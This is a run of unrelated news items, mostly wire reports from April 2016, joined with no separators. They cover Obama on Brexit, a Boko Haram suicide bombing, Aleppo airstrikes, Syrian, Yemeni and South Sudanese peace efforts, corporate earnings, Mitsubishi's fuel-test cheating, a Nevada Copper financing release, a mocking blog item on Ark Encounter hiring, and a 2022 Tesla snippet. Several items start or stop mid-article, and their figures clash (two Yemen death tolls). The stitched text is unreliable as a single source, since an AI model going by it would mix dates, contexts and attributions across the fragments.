"Now is a time for friends and allies to stick together," Obama said. "Together, the United States, the United Kingdom, and the European Union have turned centuries of war in Europe into decades of peace, and worked as one to make this world a safer, better place."



Opinion polls indicate that British voters are leaning towards the "In" camp but many remain undecided.



Younger voters are more likely to support remaining in the EU, but "In" campaigners are worried that older voters may be more likely to turn out to vote.



Before talks with Cameron in Downing Street, Obama and his wife Michelle congratulated Queen Elizabeth, who celebrated her 90th birthday on Thursday.



Prince Philip, Elizabeth`s 94-year-old husband, took the wheel of a Range Rover to drive the Obamas to lunch on the territory of Windsor Castle, a royal residence that traces its history back over almost 1,000 years to William the Conqueror.



Two years ago, ahead of a Scottish vote on independence, Obama said he hoped Britain "remains strong, robust and united", a comment that was welcomed by unionist politicians in London. Scots voted to remain part of the United Kingdom.

"UNWELCOME INTERFERENCE"



Citing President Franklin D Roosevelt`s 1939 toast to Washington`s close alliance with Britain, Obama lauded Britain`s contribution to the development of democracy, the rule of law and open markets.



"The US and the world need your outsized influence to continue -- including within Europe," Obama said.



Opponents of the EU have said that membership has shackled Britain to the corpse of a failed German-dominated experiment in European integration, and that Britain, if freed, could prosper as a sole trader. Many of them are also supporters of a close relationship with the United States.



Such opponents caution that while many world leaders like Obama, banks such as Goldman Sachs and big companies such Ford may want Britain to remain in the EU, the British people do not appreciate being lectured about how to vote.



Nigel Farage, a prominent opponent of membership as leader of Britain`s UK Independence Party, called Obama the most anti-British American president to date.



"This is an unwelcome interference ... Mercifully, he won`t be in office for much longer," Farage said.


Kano: At least seven people were killed in a suicide bomb attack near a camp for those displaced by the Boko Haram conflict in northeast Nigeria, the has army said.

The attack happened early Wednesday in Banki, a town on the border with Cameroon some 130 kilometres (80 miles) southeast of the Borno state capital, Maiduguri.

"Seven people lost their lives. There were two suicide bombers," both women, army spokesman Colonel Sani Usman told AFP.

News of the attack was slow to emerge because of the poor to non-existent telecommunications in the remote area.

Usman said one of the women failed to detonate her explosives and was arrested, despite being injured but a civilian vigilante said the second bomber died of her wounds on her way to hospital.

"Two female suicide bombers came by a checkpoint manned by CJTF (civilian joint task force) and the military at about 6:30 am (0530 GMT) yesterday (Wednesday)," the vigilante said.

"They successively detonated their explosives. One of them died instantly while the second one was badly injured.

"She died on the way to Maiduguri because she was evacuated along with the wounded. Seven people were killed including two women and their infants.

"A vigilante and two residents were also killed. Nine people were injured and we brought them to Maiduguri for medical attention."

Boko Haram has carried out suicide bombings often using women and girls as part of its armed campaign to establish an Islamic state in northern Nigeria.

Mosques, crowded markets, bus stations and military checkpoints have been frequent targets.

But in February, two female suicide bombers killed at least 58 at camp for those made homeless by the insurgency in Dikwa, some 90 kilometres from Maiduguri.

That attack raised security fears about the safety of internally displaced people (IDPs), whom the government is encouraging to return home.

Suicide bombers also tried to get inside one of the biggest IDP camps near Maiduguri in January after a Boko Haram attack on a nearby village that killed at least 85.
Aleppo: Air strikes on rebel-held neighbourhoods in Syria`s second city Aleppo on Friday killed at least nine civilians and wounded more than a dozen others, the local civil defence told AFP.

The Syrian Observatory for Human Rights said regime warplanes carried out the air strikes and gave a toll of 10 dead.

An AFP correspondent in the opposition-held eastern part said four neighbourhoods were targeted.

In Bustan al-Qasr, one of the most heavily-populated neighbourhoods, seven civilians were killed and 10 wounded, a civil defence member said.

Two other people were killed and eight wounded in Al-Mashad district, the source said.

The Britain-based Observatory said the air strikes targeted Bustan al-Qasr and other Aleppo neighbourhoods, killing at least 10 people and wounding dozens more.

"The number of martyrs is expected to rise because many of those wounded are in critical condition," said the monitor, which relies on a network of sources inside Syria for its reports.

Once Syria`s commercial hub, Aleppo has been divided between rebel control in the east and government forces in the west since 2012.

Nearly all warring parties in Syria -- the regime, rebels, jihadists, and Kurds -- have carved out zones of control in war-torn Aleppo province.

A ceasefire took effect in Syria at the end of February but the country has been rocked by fighting in recent weeks, particularly around Aleppo.

On Sunday, at least six civilians were killed in government strikes on eastern parts of the city, and another 16 were killed by rocket fire by Islamist rebels.

Syria`s conflict erupted in March 2011 with anti-government protests, but has since spiralled into a multi-front war that has left more than 270,000 people dead.
Geneva: UN-brokered talks aimed at ending Syria`s brutal conflict will push ahead until April 27, despite the departure of the main opposition group, negotiators said Friday.

Syria`s main opposition High Negotiations Committee (HNC) earlier this week halted its formal participation in the round of talks that began in Geneva on April 13 in frustration over surging violence on the ground.

But the group`s spokesman Salem al-Meslet told AFP Friday that UN mediator Staffan de Mistura had decided the talks would continue through next Wednesday, and said that "if we see major and serious steps on the ground" the delegation might return to the negotiating table.

Another opposition group close to Moscow, which is deemed more acceptable by the Syrian government, meanwhile said it would remain in Geneva through April 27 and would meet with de Mistura after the weekend.

Qadri Jamil, co-president of the so-called Moscow Group and Syria`s former deputy premier, told AFP there was no reason to halt the talks over the departure of the HNC, an umbrella group comprising the main Syrian opposition and rebel factions that came together in Riyadh in December.

"The Riyadh delegation is one of the delegations participating in Geneva, and the idea that this delegation is the chief one participating... should be erased," he said, speaking in Arabic.

Earlier this week the regime`s chief representative in Geneva, Bashar al-Jaafari, slammed the HNC decision as "absurd theatre" and said "the talks will not lose anything" due to its departure.

That view was echoed Friday by Damscus`s key backer Russia.

"Probably no one loses but them if they leave the negotiations," Russian Foreign Minister Sergei Lavrov said on a visit to Armenia.

Following a meeting with de Mistura Friday, Jaafari told reporters his delegation was scheduled to meet the UN envoy again Monday morning, while a source close to the delegation said it would remain in Geneva "until Wednesday at least."Meslet meanwhile insisted the talks could not realistically continue without the participation of the HNC.

"It`s unrealistic for some opposition groups to talk about the continuation of the negotiations in the absence of our delegation," he said, speaking in Arabic.

"The HNC proved that it represents the Syrian people and the moderate factions inside Syria," he said, insisting no other group could convince armed factions on the ground to commit to a truce.

The group walked out in protest over a flurry of violations of a fragile truce that took effect in late February, blocked humanitarian aid to besieged areas and the lack of progress in attempts to secure the release of detainees.

But Meslet stressed the HNC had not fully withdrawn from the talks process, but had merely asked de Mistura "to postpone them until we see progress on the ground."

He said that if there are signs of major improvements "on the humanitarian issue, the truce and detainees in the next couple of days, there will be nothing stopping the members who left Geneva from returning."

De Mistura himself hinted to Swiss public broadcaster RTS late Thursday that the HNC`s departure was a bid to apply pressure to the process.

"There is a lot of what we call political gesticulation, and that is normal," he said.

Syria`s conflict erupted in March 2011 with anti-government protests, but has since spiralled into a multi-front war that has left more than 270,000 people dead.
United Nations: UN Secretary-General Ban Ki-moon on Friday pressed South Sudan rebel leader Riek Machar to return to Juba "without delay" and begin work in a transitional government.

Machar had been expected to return to the capital on Monday, in line with a political agreement aimed at ending the two-year war, but differences over security arrangements in Juba delayed his arrival.

Ban said President Salva Kiir`s government had agreed to a compromise proposal on the arrangements for Machar`s return and said this breakthrough should help with the swift formation of the new unity government.

"Maintaining a spirit of cooperation will be crucial as the country`s leaders begin the work of reversing the years of destruction this conflict has brought upon the people of South Sudan," he said in a statement.

Ban urged Machar to travel to Juba "without further conditions which could jeopardize the fragile peace process and prolong the suffering of the South Sudanese people."

Under the peace deal, Machar was to return to the post of vice president in a the new 30-month transitional government leading to elections.

The latest stumbling block concerned the number of machine guns and rocket-propelled grenades that rebel troops protecting Machar would be allowed to carry.

South Sudan`s war began in December 2013, when Kiir accused Machar of plotting a coup.

The conflict has torn open ethnic divisions and been characterized by horrific rights abuses, including gang rapes, the wholesale burning of villages and cannibalism.

At the request of the United States, the Security Council met Monday and expressed "serious concern" at Machar`s failure to return.

International powers, including the African Union, the European Union, China, Britain and the United States, gave both Machar and Kiir a Saturday deadline to resolve differences.

Tens of thousands of people have been killed and more than two million have been driven from their homes since war broke out in December 2013.
The UN envoy hailed a "constructive" first full day of Yemen peace talks on Friday but called for a halt to air strikes by a Saudi-led coalition and missile fire by Iran-backed rebels.

Ismail Ould Cheikh Ahmed said that firming up a ceasefire that was supposed to have gone into effect on April 11 was essential to the success of the hard-won peace negotiations in Kuwait.

"There should be no air strikes and firing of missiles," the envoy told a press conference.

He said the rebels complained of continuing air strikes by the Saudi-led coalition while the government side complained of continued ceasefire violations by the rebels.

Ould Cheikh Ahmed said he had contacted Saudi Arabia about the coalition air strikes and they had said the raids were ordered only in response to ceasefire violations by the rebels.

"The ceasefire is respected between 70 percent to 80 percent all over Yemen," he said.

"The talks today were very constructive.

"There was a consensus on strengthening the ceasefire and the two sides were committed to the need to achieve peace and that this is the last opportunity."

The negotiations in Kuwait opened on Thursday evening with a session lasting less than two hours following the delayed arrival of representatives of the Shiite Huthi rebels and allied forces loyal to ousted president Ali Abdullah Saleh.

The United Nations hopes negotiations -- which were originally due to begin on Monday -- will put a stop to fighting across Yemen that has killed more than 6,800 people and driven 2.8 million from their homes since March last year.
Kuwait: Yemen`s warring factions held their first direct talks in a UN backed peace process on Friday and will meet again despite failing to agree on an agenda, participants said.

The United Nations envoy, Ismail Ould Cheikh Ahmed, said the meetings in Kuwait had been constructive and the positive atmosphere was a step forward in efforts to end the conflict.

They discussed a more permanent ceasefire in Yemen and how it would be implemented, he said.

The talks, which opened late on Thursday, seek a solution to a war which has killed more than 6,200 people, triggered a humanitarian crisis and enabled al Qaeda and Islamic State militants to consolidate their presence in the country.

They bring together the Iran-allied Houthi movement, who control the capital Sanaa, and its General People`s Congress (GPC) allies with the Saudi-backed government of President Abd-Rabbu Mansour Hadi, based in the southern port city of Aden.

"The meetings held today were constructive and the atmosphere is an important advancement," Ould Cheikh Ahmed told a news conference. "We will intensify our efforts."

But sources present at the talks, delayed since Monday due to the late arrival of the Houthi delegation and its allies, said the two sides continue to be divided on the priorities.

The government delegation wants Houthis and fighters loyal to former president Ali Abdullah Saleh to withdraw from cities and hand over weapons before discussing a political solution, the sources said.

The Houthis and its allies want the formation of a new government representing all parties, which will then oversee disarmament. They also want to focus the discussion on security arrangements and detainees, the sources added.

The sources declined to be named because the talks, being held at the palace of Kuwait`s ruling emir, are closed to the media.

A temporary truce between the government and Houthis has mostly held in place since April 10 in preparation for the talks although both sides have accused each other of violations.

The Yemen conflict began in September 2014 when the Houthis seized Sanaa. A Saudi-led Arab alliance intervened in March last year, launching a campaign of mostly air strikes against the Houthis in support of Hadi`s forces.
Washington: The US today expressed concern over Pakistan's continued tolerance for terrorist groups like Haqqani network and said that it has raised this issue at the highest level with the authorities in Islamabad.

"We have consistently expressed our concerns at that the highest level of the government of Pakistan about their continued tolerance for Afghan Taliban groups, such as the Haqqani network, operating from Pakistani soil," State Department Spokesman Elizabeth Trudeau said.

America's concerns were raised with Pakistan again after the dreaded terrorist attack in Kabul this week in which more than 70 people were killed.

Afghan authorities have blamed this to the Haqqani network and alleged this had the backing of the Pakistani establishment.

"We have pressed the government of Pakistan to follow up on its expressed commitment not to discriminate between terror groups, regardless of their agenda or their affiliation by undertaking concrete action against the Haqqanis," Trudeau said in response to a question.

Pakistani authorities have reiterated their commitment that they will not discriminate against those groups, she noted.

"We continue to call on them to live up to that commitment," the State Department spokesperson said.

"I think words matter and we continue to encourage them to have their actions match those words," Trudeau said responding to Afghan allegations that Pakistanis helped the Haqqani network in this Kabul attack.

"Any attack the Haqqani group conducts is not possible without Pakistan's help and this has been repeatedly proven in the last 14 years," a presidential spokesman, Dawa Khan Meenapal, was quoted as saying by Voice of America today.
Houston: Harold Hamm, chief executive of shale oil producer Continental Resources Inc and Mitt Romney`s 2012 energy adviser, endorsed U.S. presidential candidate Donald Trump on Friday, saying he has the "fortitude to make tough decisions."

Hamm, who had previously donated to U.S. Senator Marco Rubio`s presidential campaign, called the real estate mogul a "business leader`s candidate" who has the will to right what he called a series of mistakes from politicians in Washington, including "burdensome government regulations."

"The next president of the United States must have the courage, determination and intelligence to disrupt politics as usual," Hamm wrote in a public letter.

"Such an honour to get the endorsement of Harold Hamm, one of the great men in the history of the oil and energy business," Trump said in a statement to Reuters.

Known for his outspoken views on U.S. energy policy and other matters, Hamm once referred to OPEC leader Saudi Arabia as a "toothless tiger" in the face of growing U.S. oil output.

OPEC and Saudia Arabia eventually proved Hamm wrong by using its influence to keep prices low for more than 18 months and counting, exerting sharp pain on U.S. oil producers. Hamm`s Continental is expected to post a quarterly loss next month.

Hamm`s endorsement followed President Barack Obama`s meeting with Saudi Arabia`s King Salman in Riyadh this week.

By endorsing Trump, Hamm has parted ways with former Massachusetts Governor Mitt Romney, the 2012 Republican candidate for the White House, who has vigorously opposed Trump`s candidacy.
A presidential visit would be controversial in the United States if it were seen as an apology.

A majority of Americans view the bombing of Hiroshima on August 06, 1945, and of the city of Nagasaki three days later, as justified to end the war and save U.S lives. The vast majority of Japanese think the bombings were unjustified.

U.S. Secretary of State John Kerry said during a visit to the city this month that Obama wanted to travel there, though he did not know if the president`s schedule when he visited Japan for the May 26-27 summit would allow him to.

Hiroshima bombing survivors, and other residents, have said they hope for progress in ridding the world of nuclear weapons, rather than an apology, if Obama makes the historic visit.

Hopes for Obama`s visit to Hiroshima were raised after a speech in April 2009 in Prague when he called for a world without nuclear weapons. He later said he would be honoured to visit the two cities that suffered nuclear attack.

Kerry, who toured the Hiroshima Peace Memorial and Museum, called its haunting displays "gut-wrenching" and said everyone should visit.

The displays include photographs of badly burned victims, the tattered and stained clothes they wore and statues depicting them with flesh melting from their limbs.
Retired military and security forces officers protest in central Athens, in November 2015, against planned austerity measures affecting their pensions

The economy in Greece has performed "substantially better" than forecast in its massive bailout deal, the EU said on Thursday, a day ahead of a key meeting of eurozone finance ministers to discuss the rescue.

Greece and officials from the EU, ECB and IMF are locked in crunch talks in Athens to close a review of the 86-billion-euro bailout, in time for talks by the eurozone's 19 finance ministers in Amsterdam on Friday.

Ahead of the meeting, fresh data released by the EU's Eurostat statistics agency showed that Greece's public spending last year, not counting the heavy cost of borrowing, delivered a surplus of 0.7 percent of GDP.

This was "indeed substantively better than the (bailout) programme?s fiscal target of a primary deficit of 0.25 percent of GDP for 2015," European Commission spokeswoman Annika Breidthardt said at a briefing in Brussels.

Breidthardt added that "talks are continuing in Athens with a view of concluding the review as soon as possible".

Any further payout of Greece's third bailout in five years depends on the conclusion of the review, which has been delayed since last autumn by disagreements over pension cuts and bad loans.

A row between the IMF and the European institutions in charge of the bailout has also slowed progress. The two sides differ over debt relief and present conflicting data on the state of the Greek economy.

Debt relief is a key condition by the International Monetary Fund to remain in the rescue of Greece.

The IMF is also requiring much deeper cuts to Greek pensions than what is so far on the table.

As a compromise, the IMF and EU are drawing up contingency reforms to impose on Athens in the case of missed targets.

"We have a deal on about everything except on the pension reform front," said Greek Employment Minister Georges Katrougalos, after a meeting with Prime Minister Alexis Tsipras in Athens.

A pension reform law would be introduced to Greek parliament on Thursday or Friday, Katrougalos said.

A eurozone official, who spoke on the condition of anonymity, said eurozone ministers in Amsterdam would give important signals on how things will move forward for Athens.

"We will have to see if the signal from the ministers in the Eurogroup (of eurozone finance ministers) is a positive one," the official said.
Eric Schmidt, pictured on March 8, 2016, said Israel was punching far above its weight in technology

Google parent Alphabet on Thursday reported profit climbed 20 percent, but the rise fell short of investor expectations, sending shares sharply lower.

Alphabet said that net income hit $4.2 billion in the first three months of this year, but shares sank five percent to $721.89 in after-market trades that followed release of the report.

Revenue in the quarter rose to nearly $20.3 billion compared to $17.26 billion in the same period a year earlier.

The results "represent a tremendous start to the year," said Alphabet chief financial officer Ruth Porat.

"We're thoughtfully pursuing big bets and building exciting new technologies, in Google and our Other Bets, that position us well for long-term growth."

In the financial report, Alphabet separates its money-making engine Google from "other bets," a category that covers the California-based company's investments in diversifying into areas such as self-driving cars, high-speed Internet and smart homes.

Revenue from Other Bets more than doubled in the recently ended quarter to $166 million, but an overall loss of $802 million was booked, according to the earnings report.

The earnings came a day after the European Union opened a new antitrust battle with Google, charging the US tech giant with abusing the dominance of its Android mobile phone operating system.

The charges, a year after Brussels took on Google over its search engine, come as a huge blow to one of the company's most strategic businesses and could change the face of the global smartphone sector.

EU Competition Commissioner Margrethe Vestager said Google had used practices such as making manufacturers pre-install its market-leading search engine as the default in phones.

Google said it would work with the EU to show that consumers benefitted from Android.

Alphabet earlier this year briefly vaulted past Apple as the world's most valuable company, but on Thursday the iPhone maker was well ahead of its Silicon Valley rival in market capitalization.

The reorganization last year under Alphabet was aimed at providing more transparency to investors as the company moved into new sectors which may not deliver profits, and led to expectations that some of these "moonshot" operations could be discontinued or spun off.

Alphabet subsidiaries include Google, Nest Labs, and Google X labs devoted to big-vision new technologies such as self-driving cars, along with such projects as smart "Google Glass" spectacles, drones, health care and Google TV -- none of which has become a major source of income.
Mitsubishi Motors' future is hanging in the balance for the second time in a decade after a bombshell admission that it has been cheating on fuel-economy tests for years

Mitsubishi Motors' shares nosedived for a third day on Friday, falling as much as 16 percent in early trading in response to its shock admission that it cheated on fuel-efficiency tests.

At 10:07 am (0107 GMT), the stock was down 13.20 percent at 506 yen, after dipping as low as 489 yen, or 16.12 percent off.

Panic-selling in the past two days had already sent the share price tumbling by a third, wiping about $2.5 billion off the automaker's market value, after the embarrassing revelation.

It marked the worst three-day decline since the company's listing in 1988, Bloomberg News reported.

The scandal came as German auto giant Volkswagen struggles to restore its badly dented reputation after revelations of emissions rigging.

Mitsubishi admitted Wednesday that unnamed employees rigged tests to make some of its cars seem more fuel-efficient than they were in reality.

The company said it would halt production and sales of the affected models -- mini-cars sold in Japan including some made for rival Nissan -- and warned that the number of cars involved in the scandal would likely rise.

"Certainly it is a blow, the vast majority of their business in Japan has become selling mini-vehicles to Nissan because the market share of their own branded products after the scandal in the 2000s withered down to practically nothing," Christopher Richter, an auto analyst at brokerage CLSA in Tokyo, told AFP.

More than a decade ago Mitsubishi teetered on the edge of bankruptcy after being hit by a lack of cash and a series of huge recalls linked to serious defects.

Japanese industry minister Motoo Hayashi told reporters Friday that he has "instructed (the company) to swiftly report facts" around the fuel efficiency scandal to the ministry, Jiji Press reported.

Meanwhile, the transport ministry sent officials to raid a Mitsubishi Motors' research and development centre for a second day on Friday, a ministry official told AFP.

Transport minister Keiichi Ishii told reporters on Friday that the ministry will review ways to test fuel efficiency to prevent a repeat of the scandal, Jiji said.
The Independent writes that the U.K. is warning travelers about new anti-LGBT laws in North Carolina and Mississippi.

Dr Felicity Daly, director of the LGBT Kaleidoscope Trust said: "It is heartening the Foreign and Commonwealth Office is becoming more LGBT responsive in their work, it's a good sign as it is an important issue in the UK, but most people who identify as LGBT in the UK will already be aware of the nature of certain states."

Matt Horwood of Stonewall charity said: "What's happened in Mississippi and North Carolina proves that equality is never secure.

"It's positive to see the UK government recognise this need and update its travel advice pages accordingly."


Kentucky's tax-payer funded creationist amusement park is hiring, and all types of 'Christian' are welcome. Answers in Genesis, the park operator, plans to hire several hundred adherents who will be required to sign papers confirming they have accepted Jesus Christ as their savior. Kindly, the park won't discriminate against various flavors of Christianity!

Somehow it is legal to use tax dollars for this.

Via Christian Daily:

In January, Answers in Genesis won a federal court ruling allowing it to hire workers based on religious beliefs. The religious group also seeks US$18 million worth of Kentucky's tourism tax incentive. U.S. District Judge Greg Van Tatenhove ruled that the group can impose a religious requirement for its employees under an exemption on the 1964 Civil Rights Act. "We are a religious group and we make no apology about that, and (federal law) allows us that," said Ham on Thursday. "We're requiring them to be Christians, that's the bottom line," he added. There was also a question on whether Answers in Genesis will allow Catholics to work at the Ark Encounter. Kentucky Paleontological Society president Dan Phelps said Catholics usually do not interpret things literally since they do not have the tendency to be fundamentalists Christians. In response to Phelps' query, Ham said they will not make any distinctions between the different Christian denominations. As long as the future workers sign the statement, they can work in the theme park.

There goes my dream of being the funny guide at Jesus-centric Jungle Boat tour.
By Nia Williams CALGARY, Alberta (Reuters) - The Canadian crude-producing province of Alberta released further details of its revamped oil and gas royalty regime on Thursday, a move that was welcomed by the energy industry as giving more clarity to potential investors. The Alberta government said the release of the technical formulas, which will determine royalty rates and certain cost allowances, would enable producers to move forward with drilling and investment plans. The new royalty framework takes effect on Jan. 1, 2017. "We have worked with industry associations and I'm confident these formulas will meet the recommendations of the review panel, and create the right system for industry to remain competitive, grow and create jobs," said Alberta Energy Minister Margaret McCuaig-Boyd. Alberta's left-leaning NDP government unveiled its new royalty framework in January, drawing a line under months of fierce criticism from industry that reviewing the complex system was feeding uncertainty and deterring capital from the province. Rates were left largely unchanged on oil sands projects and existing wells, much to the relief of producers already reeling from the worst crude price slump in decades. The Canadian Association of Petroleum Producers and the Explorers and Producers Association of Canada said on Thursday they welcomed the modernization of the royalty system and the latest steps to put the royalty panel's recommendations into practice. RBC Capital Markets analyst Dan MacDonald said the technical formulas were a net positive for producers by basing well cost allowances on the 2012-15 time period, when costs were higher. Analysts also stressed, however, that oil prices - and whether they recover or continue to languish around $40 a barrel - would have a far bigger impact on investment decisions in Alberta than the royalty structure. "At the margin this will help but the bottom line is people are buying and selling stocks more on the commodity price outlook than anything else," said Robert Fitzmartyn, an analyst with FirstEnergy Capital in Calgary. (Reporting by Nia Williams, editing by G Crosse)
VANCOUVER, BRITISH COLUMBIA--(Marketwired - April 22, 2016) -

NOT FOR DISTRIBUTION TO UNITED STATES NEWS WIRE SERVICES OR FOR DISSEMINATION IN THE UNITED STATES

Nevada Copper Corp. (NCU.TO) ("Nevada Copper" or the "Company") announces that it will file an amended and restated preliminary short form prospectus (the "Amended Preliminary Prospectus") in connection with a proposed offering (the "Offering") of subscription receipts (the "Subscription Receipts"). Aggregate net proceeds from the Offering will total a minimum of approximately US$5 million which, when combined with proceeds of US$5 million from a convertible loan facility (the "Pala Convertible Loan Facility") with Pala Investments Limited ("Pala"), will satisfy the Company's financing requirement pursuant to its amended senior secured loan agreement (the "Red Kite Loan Agreement") with an affiliate of Red Kite Mine Finance ("Red Kite"). Details regarding the Pala Convertible Loan Facility are more fully described below.

Each Subscription Receipt (the "Initial Securities") will entitle the holder to receive one unit of the Company (a "Unit"), without payment of additional consideration or further action, upon satisfaction of certain release conditions (the "Release Conditions") as described in the Amended Preliminary Prospectus. Each Unit will be comprised of one common share and one-half of a common share purchase warrant.

Under the amended terms of the Red Kite Loan Agreement, the Company is required to raise aggregate net proceeds of US$10 million through equity or subordinated debt financing (the "Interim Financing Requirement"). The completion of the Offering and the Pala Convertible Loan Facility will satisfy the Interim Financing Requirement and bring the Company into full compliance with applicable covenants under the Red Kite and Pala loan facilities. As a result the Company will now have sufficient time until December 31, 2017 to progress its broad review of strategic alternatives, continue discussions with interested parties regarding potential strategic transactions, and conclude a transaction that maximizes value to all shareholders. These potential transactions could include the sale of the Company, or a joint venture arrangement with related financing to secure the remaining development capital for advancing the Pumpkin Hollow copper project to commercial production.

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Giulio Bonifacio, President and CEO comments: "Pumpkin Hollow represents the only large, fully-permitted copper deposit in the Americas not currently owned by a major, in an ideal location with existing infrastructure. We are extremely pleased with support shown by both Pala and Red Kite over the last several months as upon completion of the equity financing we will be well postioned to focus on strategic options and conduct a full strategic review with the sole focus of ensuring we maximixe value for all stakeholders."

The Offering Under the Amended Preliminary Prospectus

The Amended Preliminary Prospectus describes the recent amendments to the Red Kite Loan Agreement and the proposed Pala Convertible Loan Facility, which provides an additional US$5 million advance from Pala to the Company, as initially announced in the Company's news release dated April 5, 2016 and discussed more fully below.

The Amended Preliminary Prospectus replaces and supersedes the preliminary short form prospectus of the Company filed on February 9, 2016. The Amended Preliminary Prospectus will be filed with the securities regulatory authorities in each of the provinces of Canada, except Quebec. The Offering will be conducted on a "best efforts" basis pursuant to an agency agreement to be entered into between the Company and a syndicate of agents co-led by GMP Securities L.P. and Dundee Securities Ltd. (collectively, the "Co-Lead Agents") and including Haywood Securities Inc. (together with the Co-Lead Agents, the "Agents"). The issue price of the Subscription Receipts (the "Issue Price") and the terms of the share purchase warrants comprising the Units will be determined in the context of the market.

The Company will grant the Agents an option (the "Over-Allotment Option") to sell up to such number of additional Subscription Receipts as is equal to 15% of the number of Initial Securities initially sold under the Offering (the "Additional Securities" and, together with the Initial Securities, the "Offered Securities"). The Over-Allotment Option shall be exercisable, in whole or in part, on the Closing Date and for a period of 30 days thereafter, at the Issue Price per Additional Security. If the Over-Allotment Option is exercised following satisfaction of the Release Conditions, Units will be issued in lieu of Subscription Receipts.

Upon closing of the Offering, the gross proceeds from the sale of the Offered Securities (the "Escrowed Proceeds") will be deposited with and held by Computershare Trust Company of Canada, as escrow agent (the "Escrow Agent"), and invested in short-term interest bearing or discount debt obligations issued or guaranteed by the Government of Canada (and other approved investments), pending satisfaction of the Release Conditions, which include the condition that, upon release of the Escrowed Proceeds and the Company's receipt of the Pala Advance (as defined below), the Company will not be in breach of any of the material terms and conditions of the Red Kite Loan Agreement. Upon satisfaction of the Release Conditions, the Subscription Receipts will automatically be converted into Units, without payment of additional consideration or further action on the part of the holders.

In the event that the Release Conditions are not satisfied or waived on or prior to May 30, 2016 or such later date as is agreed to by the Company and the Agents (the "Termination Time"), the Escrow Agent shall return to the holders of the Subscription Receipts an amount equal to the full subscription price therefor and their pro rata share of interest earned on the Escrowed Proceeds.

This news release does not constitute an offer to sell or a solicitation of an offer to buy any of the securities referenced herein in the United States. The securities have not been and will not be registered under the United States Securities Act of 1933, as amended, (the "U.S. Securities Act") or any state securities laws and may not be offered or sold within the United States or to U.S. Persons unless registered under the U.S. Securities Act and applicable state securities laws or an exemption from such registration is available.

Pala Convertible Loan Facility

The Company has entered into definitive documentation regarding the amendment of its existing US$21.7 million subordinated loan facility into the Pala Convertible Loan Facility. Under the terms of the Pala Convertible Loan Facility:

Pala Advance: Pala will advance a further US$5,000,000 (the "Pala Advance"), such that an aggregate principal amount of US$26.7 million will be outstanding under the Pala Convertible Facility. Maturity Date: The Pala Convertible Loan Facility will mature and be payable on the earliest of: December 31, 2017; the date when outstanding amounts under the Red Kite Loan Agreement are paid in full; and a change of control event. Interest Rate: 12% per annum Voluntary Prepayment and Prepayment Fee: All outstanding amounts under the Pala Convertible Loan Facility may be prepaid in full by the Company with payment of the following early repayment fee (the "Prepayment Fee") equivalent to: 25% of outstanding amounts to be prepaid, if prepayment is made prior to December 31, 2016; and 35% of outstanding amounts to be prepaid, if prepayment is made between January 1, 2017 and December 31, 2017.



The Prepayment Fee will be applicable on any repayment of the Pala Convertible Loan Facility prior to December 31, 2017. Conversion: Pala may elect to convert the principal amount and any accrued and unpaid interest under the Pala Convertible Loan Facility, including the Prepayment Fee, if applicable, in full or in part, at the Conversion Price (as defined below), into common shares in the capital of the Company at any time up to the Maturity Date or upon any voluntary prepayment by the Company. The Conversion Price will be $1.11 per share, which represents a 15% premium to the 20-day volume-weighted average price ("VWAP") of the common shares of the Company immediately prior to signing of the definitive loan documentation, subject to potential adjustment such that the Conversion Price will not exceed 115% of the Issue Price in the Offering. Arrangement Fee: US$200,000 due upon execution, payable out of the proceeds of the Pala Advance. Warrants: Pala will be issued 2.5 million warrants with a 3 year term, exercisable to acquire common shares of the Company at an exercise price of $1.20 per share. Board Nomination Right: Pala will be granted rights to nominate up to three members of the Board of Directors of the Company, subject to Pala maintaining certain share ownership thresholds. Right to Purchase: Pala will be granted the right, so long as it holds at least 15% of the outstanding common shares of the Company, to participate in future equity offerings of the Company.

The Pala Convertible Loan Facility and the Pala Advance remain subject to a number of conditions precedent, including receipt of shareholder approval. The Company plans to hold an annual and special shareholder meeting (the "Shareholder Meeting") on May 27, 2016, at which it will seek disinterested shareholder approval of the Pala Convertible Loan Facility.

Other Corporate Developments

Nevada Copper is pleased to welcome two new future Board members, Mr. Bill Myckatyn and Mr. Lucio Genovese, replacing Daniel Dumas and James Askew who will not stand for nomination at the Shareholder Meeting. Nevada Copper is extremely appreciative of the time and expertise offered to the Company by Messrs. Dumas and Askew during their tenure on the Board.

Mr. Myckatyn is a mining engineer with over 30 years of technical and management experience in mine financing, development and operations. He was the Chairman and subsequently Vice Chairman of Quadra FNX Mining Ltd., an intermediate copper and gold producer focused in the Americas, until its takeover in 2012. Prior to founding Quadra Mining in 2002, Mr. Myckatyn held the position of Chief Executive Officer and senior positions at other mining and metals companies over the period of a decade including Dayton Mining, Princeton Mining and Gibraltar Mines. For over ten years prior to that, he worked for various operations controlled by Placer Dome Inc. and its associated and predecessor companies, including four separate mines in Australia and the Philippines. Mr. Myckatyn also sits on the Board of Directors of OceanaGold Corporation, First Point Minerals and San Marcos Resources.

Mr. Genovese has 24 years of experience in both the merchant and financial sector of the metals and mining Industry. Mr. Genovese is the CEO of Nage Capital Management in Baar, Switzerland. He is also Chairman of Firestone Diamonds, and member of the Boards of the Armajaro Commodity Funds and Crossbow Partners AG, Baar, Switzerland. He was previously employed at Glencore International AG where he held several senior positions including CEO of the CIS region and manager of the Moscow office. Mr. Genovese is a Chartered Accountant and has a B.Comm and B.Acc from the University of Witwatersrand, Johannesburg (South Africa).

Pumpkin Hollow Project

The Pumpkin Hollow copper development is located entirely on private land close to infrastructure with all required power and water supplies secured. With the project entirely on private land, all required Nevada permits for construction and mine operations are in hand (no federal permits are required). With many analysts forecasting improving copper markets over the next few years, the Company's Pumpkin Hollow Copper Project represents an attractive, "shovel-ready", fully-permitted copper project located in an ideal mine-friendly location.

NEVADA COPPER CORP.

Giulio T. Bonifacio, President & CEO

We seek safe harbour.
Reuters

SHANGHAI (Reuters) -Tesla has slashed starter prices for its Model 3 and Model Y cars by as much as 9% in China, reversing a trend of increases across the industry amid signs of softening demand in the world's largest auto market as analysts warn of a price war. The price cuts, posted in listings on the electric vehicle (EV) giant's China website on Monday, are the first by Tesla in China in 2022, and come after Tesla began offering insurance incentives to buyers last month. The move to reduce some prices by nearly a tenth comes after Tesla Chief Executive Elon Musk said last week that "a recession of sorts" in China and Europe was weighing on demand for its electric cars.
By Lisa Baertlein

(Reuters) - Starbucks Corp on Thursday posted quarterly cafe sales that missed analysts' growth estimates for every region where it operates and issued a disappointing full-year forecast, sending its shares down about 4 percent.

The world's largest coffee chain said global sales at cafes open at least 13 months rose 6 percent in the fiscal second quarter ended March 27, compared with the year-ago period. Analysts had expected an overall same-cafe sales gain of 6.7 percent, according to research firm Consensus Metrix.

